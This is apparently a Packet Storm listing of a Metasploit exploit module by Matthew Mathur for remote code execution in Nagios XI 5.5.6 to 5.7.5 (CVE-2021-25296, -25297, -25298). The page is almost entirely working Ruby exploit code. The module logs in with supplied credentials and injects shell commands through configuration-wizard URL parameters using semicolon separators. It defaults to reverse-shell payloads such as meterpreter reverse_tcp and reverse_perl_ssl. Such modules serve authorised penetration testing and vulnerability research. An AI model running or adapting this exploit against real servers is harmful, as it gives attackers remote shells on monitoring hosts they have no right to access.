Lucene search

K
packetstormMatthew Mathur, metasploit.comPACKETSTORM:170924
HistoryFeb 08, 2023 - 12:00 a.m.

Nagios XI 5.7.5 Remote Code Execution

2023-02-0800:00:00
Matthew Mathur, metasploit.com
packetstormsecurity.com
253
nagios xi
remote code execution
cve-2021-25296
cve-2021-25297
cve-2021-25298
command injection
authenticated user
apache user
official nagiosxi ovas

EPSS

0.965

Percentile

99.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',  
'Description' => %q{  
This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are  
OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm  
configuration wizards that allow an authenticated user to perform remote code  
execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.  
  
Valid credentials for a Nagios XI user are required. This module has  
been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Matthew Mathur'  
],  
'References' => [  
['CVE', '2021-25296'],  
['CVE', '2021-25297'],  
['CVE', '2021-25298'],  
['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']  
],  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' => [  
[  
'Linux (x86)', {  
'Arch' => [ ARCH_X86 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux (x64)', {  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'CMD', {  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'unix',  
# the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 2,  
'DisclosureDate' => '2021-02-13',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def finish_install  
datastore['FINISH_INSTALL']  
end  
  
# Returns a status code an a error message on failure.  
# On success returns the status code and an array so we  
# can update the login_result and res_array variables appropriately.  
def handle_unsigned_license(res_array, username, password, finish_install)  
auth_cookies, nsp = res_array  
sign_license_result = sign_license_agreement(auth_cookies, nsp)  
if sign_license_result  
return 5, 'Failed to sign license agreement'  
end  
  
print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')  
sleep 5  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..4 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 5 # The Nagios XI license agreement still has not been signed  
return 5, 'Failed to sign the license agreement.'  
end  
  
return login_result, res_array  
end  
  
def authenticate  
# Use nagios_xi_login to try and authenticate.  
login_result, res_array = nagios_xi_login(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 4 # Nagios XI is not fully installed  
install_result = install_nagios_xi(password)  
if install_result # On installation failure, result is an array with the code and error message  
return install_result[0], install_result[1]  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..4 # An error occurred, propagate the error message  
return login_result, res_array[0]  
when 5 # The license agreement still needs to be signed  
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)  
return login_result, res_array unless (login_result == 0)  
end  
when 5 # The license agreement still needs to be signed  
login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)  
return login_result, res_array unless (login_result == 0)  
end  
  
print_good('Successfully authenticated to Nagios XI.')  
# Extract the authenticated cookies and nsp to use throughout the module  
if res_array.length == 2  
auth_cookies = res_array[1]  
if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)  
@auth_cookies = auth_cookies  
else  
return login_result, 'Failed to extract authentication cookies'  
end  
nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)  
if nsp  
@nsp = nsp[1]  
else  
return login_result, 'Failed to extract nsp string'  
end  
else  
return login_result, 'Failed to extract auth cookies and nsp string'  
end  
  
# Set the version here so both check and exploit can use it  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return 6, 'Unable to obtain the Nagios XI version from the dashboard'  
end  
  
print_status("Target is Nagios XI with version #{nagios_version}.")  
  
# Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,  
# so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.  
if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'  
nagios_version = '1.0.0'  
end  
@version = Rex::Version.new(nagios_version)  
  
return 0, 'Successfully authenticated and retrieved NagiosXI Version.'  
end  
  
def check  
# Authenticate to ensure we can access the NagiosXI version  
auth_result, err_msg = authenticate  
case auth_result  
when 1  
return CheckCode::Unknown(err_msg)  
when 2, 4, 5, 6  
return CheckCode::Detected(err_msg)  
when 3  
return CheckCode::Safe(err_msg)  
end  
  
if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check  
auth_result, err_msg = authenticate  
case auth_result  
when 1  
fail_with(Failure::Disconnected, err_msg)  
when 2, 4, 5, 6  
fail_with(Failure::UnexpectedReply, err_msg)  
when 3  
fail_with(Failure::NotVulnerable, err_msg)  
end  
end  
  
# execute payload based on the selected targeted configuration wizard  
url_params = {  
'update' => 1,  
'nsp' => @nsp  
}  
# After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298  
# changes from address to ip_address  
if @version <= Rex::Version.new('5.5.7')  
address_param = 'address'  
else  
address_param = 'ip_address'  
end  
  
# CVE-2021-25296 affects the windowswmi configuration wizard.  
if datastore['TARGET_CVE'] == 'CVE-2021-25296'  
url_params = url_params.merge({  
'nextstep' => 3,  
'wizard' => 'windowswmi',  
'ip_address' => Array.new(4) { rand(256) }.join('.'),  
'domain' => Rex::Text.rand_text_alphanumeric(7..15),  
'username' => Rex::Text.rand_text_alphanumeric(7..20),  
'password' => Rex::Text.rand_text_alphanumeric(7..20),  
'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"  
})  
# CVE-2021-25297 affects the switch configuration wizard.  
elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'  
url_params = url_params.merge({  
'nextstep' => 3,  
'wizard' => 'switch',  
address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",  
'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),  
'scaninterfaces' => 'on'  
})  
# CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by  
# specifying the digitalocean option for the wizard parameter.  
elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'  
url_params = url_params.merge({  
address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",  
'nextstep' => 4,  
'wizard' => 'digitalocean'  
})  
else  
fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')  
end  
  
print_status('Sending the payload...')  
# Send the final request. Note that the target is not expected to respond if we get  
# code execution. Therefore, we set the timeout on this request to 0.  
send_request_cgi({  
'method' => 'GET',  
'uri' => '/nagiosxi/config/monitoringwizard.php',  
'cookie' => @auth_cookies,  
'vars_get' => url_params  
})  
end  
  
def exploit  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end  
`